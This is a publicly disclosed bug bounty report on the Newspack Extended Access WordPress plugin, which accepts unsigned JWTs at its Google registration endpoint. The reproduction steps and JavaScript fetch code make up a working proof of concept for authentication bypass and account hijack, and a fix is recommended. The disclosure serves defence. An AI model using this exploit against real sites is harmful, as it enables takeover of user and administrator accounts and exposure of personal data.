HexBrain

Automattic · Report #2536758

Authentication & Registration Bypass in Newspack Extended Access

Validstatus
mediumseverity
58upvotes
5 Jul 2024disclosed

How it was found

Summary:

The Newspack Extended Access plugin omits to verify JWT signing on the registration and login JSON endpoint. This permits registration of accounts with arbitrary (user-supplied) details, and auth bypass and account hijack if a target account email is known.

Platform(s) Affected:

Any website using Newspack Extended Access plugin.

Steps To Reproduce:

Create an unsigned JWT containing payload value {"azp": {app id}, "email": "[email protected]"}. Use a browser to supply this data to the Extended Access registration endpoint. Browser will be authenticated as the target user.

Requirements

  1. Site installed and configured with Newspack Extended Access (+ dependencies incl WooCommerce, WC Memberships, Newspack).
  2. Target user email is known (for account hijack)

Notes

  1. For account hijack, target user must be registered via SwG / Extended Access initially
  2. There was previously a mitigation that hijack of Administrator or Editor roles was prevented, this was recently removed in automattic/newspack-extended-access@4c87c25a

Reproduction

  1. Obtain the target site's Google App ID (ex: 12345-abcdef.apps.googleusercontent.com) by visiting the site and copying the JS value authenticationSettings.googleClientApiID
  2. Obtain the target email of the desired account (ex: [email protected]) to either hijack (existing) or register as a new user verified as associated with the named Google account
  3. Compose a JWT using those details:
  4. Execute a fetch request to the plugin endpoint using the supplied JS below
  5. The browser will now be logged into the target account.
{
  "sub": "1234567890",
  "azp": "12345-abcdef.apps.googleusercontent.com" ,
  "email": "[email protected]"
}
// Endpoint URL
let url = `${window.location.protocol}//${window.location.hostname}/wp-json/newspack-extended-access/v1/google/register`;
// JWT contents - this JWT contains the details above, and will not work as-is.
let token = "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwiYXpwIjoiMTIzNDUtYWJjZGVmLmFwcHMuZ29vZ2xldXNlcmNvbnRlbnQuY29tIiwiZW1haWwiOiJ0ZXN0QGV4YW1wbGUub3JnIn0.Nq7Nc2AyWe17gPmIHVRCc4z9qKP-HBZwfWhyQ_dg9X0";
// Provide token to authentication endpoint.
fetch(  
    url,  
    {  
       cache: 'no-store',  
       method: 'POST',  
       headers: {  
          'Content-type': 'text/plain',  
       },  
       body: token  
    }  
).then(response => {  
    console.log(response.json(), 'response');  
})

Supporting Material/References:

Impacts

  • Registration of accounts with arbitrary (user-supplied) details
  • Personal data (eg the target user's additional account details, billing address etc) will be visible to the attacker.
  • Registration processes may be bypassed.
  • Bulk registration may be used to deny service to the target website.
  • If a hijacked account has Admin role, full WordPress access can be obtained.
  • Authentication bypass if the target account email is known
  • Injection of untrusted data into user profiles

Solution recommendation

The solution here is I believe outlined in the integration documentation:

  • Google's JWT signing keys are made available from an HTTP endpoint
  • These keys should be retrieved periodically and stored in the consuming application (eg as a WordPress setting or other value)
  • When a JWT is presented to the endpoint, the JWT signature should be verified against Google's recently published keys before progressing with registration or authentication.

Impact

  • Authentication bypass
  • Registration bypass
  • Access to user private data
  • Potential for DoS
  • Potential for full system access

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original